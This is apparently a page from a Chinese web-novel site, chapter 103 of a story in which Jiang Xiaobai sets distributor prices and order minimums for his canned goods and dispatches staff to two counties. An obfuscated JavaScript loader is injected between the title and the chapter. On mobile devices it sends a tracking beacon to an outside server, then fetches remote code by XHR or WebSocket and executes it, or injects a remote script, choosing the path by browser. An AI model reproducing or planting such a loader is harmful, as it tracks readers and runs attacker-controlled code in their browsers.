第103章 两级代理商(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
吃过饭以后,天色也开始慢慢放亮了,两辆解放卡车晃晃悠悠的朝着县城出发了,
两辆车上一共载了10000瓶罐头和25个人。
除去一个县玻璃厂的司机以外,其他的就是这次销售罐头的人员了。
到了上马乡以后,路就稍微好走了一点,解放卡车也开始提速了。
“王超,王猛,章子县和五张县的道路不熟,一会你们去的时候一定要小心,今天去了以后,你们就抓紧时间物色厂库,如果实找不到,可以找一些居民家里当仓库。
等在章子县安顿好了,然后王猛你再带人去五张县,去的时候就带零售需要的罐头,如果有代理商就通知我,我开车给他们统一送,乡镇一级的代理商至少要吃下,300瓶罐头。
如果没有这个实力,那就不要谈代理,当然价格上,我们可以适当的做些让步,不要零售价的1块钱,可以给乡镇代理让到9毛钱,
而县一级的代理可以给让到8毛钱,进货量至少要达到800瓶到1000瓶,这个量你们自己把握。”
姜小白一边开车,一边和王超等人交代到。
没错,这一次知青罐头的定价,姜小白提高了,供销社一瓶罐头的价格大概在1块1到1块4之间。
根据种类的不同,价格也不一样。
所以姜小白这一次直接把罐头的零售价格提到了1块钱,这样的话,比供销社的罐头能够便宜1毛钱。
别小看这个时候的1毛钱,人们在乎的很。
而且现在自己和供销社做的是独门生意,只要是价格比供销社低就可以了。
而供销社的罐头,全部来源于各个国企的罐头厂。
所以相当于,知青罐头只要是比供销社的罐头便宜,价格上的优势就很稳当。
“好的,小白哥,明白。”王超和王猛,李老三三人点头应到。
“还有选择代理商的时候,大家也一定要注意,看看他到底有没有经济实力,至于货款,如果实在筹不够,那可以说支付一部分,剩下的打欠条。”
姜小白点点头继续道,乡镇一级的代理商,300瓶罐头起步,代理价格9毛钱一瓶,那就是270块钱。
270块钱,有些富裕的人家借一借筹一筹是可以拿出来的。
而县一级的代理商800瓶起步,代理价格8毛钱一瓶,那就是640块钱。
640块钱就是一笔巨款了,不用说一般人家,就是富裕人家也拿不出来,借也不好借到这么多。
那么先期拖欠一部分欠款那是肯定的,除非你不想要县级代理。
没有办法,这个时代就是这样,大家都穷的差不多,而不像后世贫富差距太大。
当然姜小白也不是完全吃亏,拖欠的不是欠款,而是让他们给打欠条。
打欠条,那就是欠钱了,而不像是后世,一些代理商甚至要压一个月甚至是两个月的欠款,用来周转。
而且你还别不服,你厂子没有销售渠道,全靠代理商,惹急了代理商,不给你家产品代理。
反而代理你竞争对手的产品,你那个时候就傻眼了,不管你产品多高,知名度多好。
货铺不开,顾客在货架上见不到你的产品,你销售个屁啊。
压货款,甚至是让厂家让利,返点,这都是后世代理商搞出来的东西。
这也是为什么很多厂家,都要想办法建立自己的销售渠道和终端,就是为了摆脱代理商的控制。
当然这个时候,代理商还没有这么牛气,或者更准确的说,大部分人根本不知道代理商这三个字。
更不用说明白其中的含义,知道该怎么操作了。
姜小白一边嘱咐着,两辆解放卡车就开进了县里。
姜小白踩下了刹车,把车停在路边。
“行了,去吧,有事记得打电话给县玻璃厂销售科,他们会通知我的,路上注意安全。”
姜小白一边朝着王超,王猛两人挥手,一边叮嘱道。
“放心吧小白哥,”
“放心吧,小白哥。”两人上了另外一辆解放卡车,挥着手,解放卡车缓缓的朝着章子县的方向而去。
“走,去宋卫国家,让他帮我们找厂库。”姜小白跳上车,一边发动车,一边说道。
昨天晚上,姜小白也和李老三等人说了,宋卫国入股的事情。
李老三他们三人也是知青罐头厂的股东,虽然知青罐头厂现在还远远的谈不上正轨,可是毕竟是股东,也都有知青权。
“小白哥,我们为什么不直接租借一个县玻璃厂的厂库呢?”李老三坐在副驾坐上,有些想不明白。
“说实话我根本不想和他们走的太近,可是有的时候还不能够不和他们合作。
只不过能够远离的时候,一定要远离,除非是实在没办法了。”
姜小白摇了摇头说道。